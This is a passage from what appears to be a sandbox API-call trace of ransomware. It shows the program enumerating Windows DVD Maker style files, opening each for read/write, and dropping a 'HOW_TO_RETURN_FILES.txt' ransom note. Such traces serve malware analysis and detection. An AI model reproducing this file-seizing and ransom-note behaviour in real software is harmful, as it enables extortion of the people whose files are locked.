lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.564] AreFileApisANSI () returned 1 [0125.564] GetACP () returned 0x4e4 [0125.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.564] AreFileApisANSI () returned 1 [0125.564] GetACP () returned 0x4e4 [0125.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="babyblue.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="babyblue.png\\", lpUsedDefaultChar=0x37dec0) returned 12 [0125.565] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.565] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.565] AreFileApisANSI () returned 1 [0125.565] GetACP () returned 0x4e4 [0125.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainBackground.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0125.565] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.584] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.584] AreFileApisANSI () returned 1 [0125.584] GetACP () returned 0x4e4 [0125.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 29 [0125.584] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.584] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.584] AreFileApisANSI () returned 1 [0125.584] GetACP () returned 0x4e4 [0125.584] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground.wmv\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.584] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.585] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.585] AreFileApisANSI () returned 1 [0125.585] GetACP () returned 0x4e4 [0125.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainToNotesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainToNotesBackground_PAL.wmvh", lpUsedDefaultChar=0x37dec0) returned 36 [0125.585] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.585] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.585] AreFileApisANSI () returned 1 [0125.585] GetACP () returned 0x4e4 [0125.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground.wmv", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground.wmvwmv", lpUsedDefaultChar=0x37dec0) returned 33 [0125.585] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.594] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.594] AreFileApisANSI () returned 1 [0125.594] GetACP () returned 0x4e4 [0125.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyMainToScenesBackground_PAL.wmv", cchWideChar=37, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyMainToScenesBackground_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 37 [0125.594] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.594] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.594] AreFileApisANSI () returned 1 [0125.594] GetACP () returned 0x4e4 [0125.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyNotesBackground.wmvund_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 26 [0125.594] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.594] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.594] AreFileApisANSI () returned 1 [0125.594] GetACP () returned 0x4e4 [0125.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyNotesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyNotesBackground_PAL.wmvPAL.wmv", lpUsedDefaultChar=0x37dec0) returned 30 [0125.594] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.595] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.595] AreFileApisANSI () returned 1 [0125.595] GetACP () returned 0x4e4 [0125.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyScenesBackground.wmvwmv", lpUsedDefaultChar=0x37dec0) returned 27 [0125.595] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.596] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.596] AreFileApisANSI () returned 1 [0125.596] GetACP () returned 0x4e4 [0125.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BabyBoyScenesBackground_PAL.wmvAL.wmv", lpUsedDefaultChar=0x37dec0) returned 31 [0125.596] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.596] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.596] AreFileApisANSI () returned 1 [0125.596] GetACP () returned 0x4e4 [0125.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LightBlueRectangle.PNG", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LightBlueRectangle.PNGd_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 22 [0125.596] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.596] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.596] AreFileApisANSI () returned 1 [0125.596] GetACP () returned 0x4e4 [0125.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MainMenuButtonIcon.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="MainMenuButtonIcon.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.596] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.597] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.597] AreFileApisANSI () returned 1 [0125.597] GetACP () returned 0x4e4 [0125.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="navSubpicture.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="navSubpicture.pngn.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.597] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.597] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.597] AreFileApisANSI () returned 1 [0125.597] GetACP () returned 0x4e4 [0125.597] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nav_leftarrow.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="nav_leftarrow.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.597] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.598] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.598] AreFileApisANSI () returned 1 [0125.598] GetACP () returned 0x4e4 [0125.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nav_rightarrow.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="nav_rightarrow.png.png", lpUsedDefaultChar=0x37dec0) returned 18 [0125.598] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.598] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.598] AreFileApisANSI () returned 1 [0125.598] GetACP () returned 0x4e4 [0125.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="nav_uparrow.png", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="nav_uparrow.pngpng", lpUsedDefaultChar=0x37dec0) returned 15 [0125.598] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.598] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.598] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.599] AreFileApisANSI () returned 1 [0125.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0125.599] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.600] GetFileType (hFile=0x130) returned 0x1 [0125.601] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.601] AreFileApisANSI () returned 1 [0125.601] GetACP () returned 0x4e4 [0125.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BabyGirl", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BabyGirlreframe_VideoInset.png", lpUsedDefaultChar=0x37df4c) returned 8 [0125.601] AreFileApisANSI () returned 1 [0125.601] GetACP () returned 0x4e4 [0125.601] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned 53 [0125.613] AreFileApisANSI () returned 1 [0125.613] GetACP () returned 0x4e4 [0125.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.613] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.613] AreFileApisANSI () returned 1 [0125.613] GetACP () returned 0x4e4 [0125.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.613] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.613] AreFileApisANSI () returned 1 [0125.613] GetACP () returned 0x4e4 [0125.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-background.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-background.pngrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 25 [0125.613] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.614] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.614] AreFileApisANSI () returned 1 [0125.614] GetACP () returned 0x4e4 [0125.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-highlight.png", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-highlight.pngg", lpUsedDefaultChar=0x37dec0) returned 24 [0125.614] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.615] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.615] AreFileApisANSI () returned 1 [0125.615] GetACP () returned 0x4e4 [0125.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x37dec0) returned 25 [0125.615] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.615] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.615] AreFileApisANSI () returned 1 [0125.615] GetACP () returned 0x4e4 [0125.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="babypink.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="babypink.pngmage-mask.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.615] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.615] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.615] AreFileApisANSI () returned 1 [0125.615] GetACP () returned 0x4e4 [0125.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="background.pngge-mask.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.616] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.616] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.616] AreFileApisANSI () returned 1 [0125.616] GetACP () returned 0x4e4 [0125.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bear_formatted_matte2.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bear_formatted_matte2.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0125.616] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.616] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.616] AreFileApisANSI () returned 1 [0125.617] GetACP () returned 0x4e4 [0125.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Bear_Formatted_MATTE2_PAL.wmvw5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 29 [0125.617] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.617] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.617] AreFileApisANSI () returned 1 [0125.617] GetACP () returned 0x4e4 [0125.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bear_formatted_rgb6.wmv", cchWideChar=23, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bear_formatted_rgb6.wmvAL.wmv", lpUsedDefaultChar=0x37dec0) returned 23 [0125.617] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.617] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.617] AreFileApisANSI () returned 1 [0125.617] 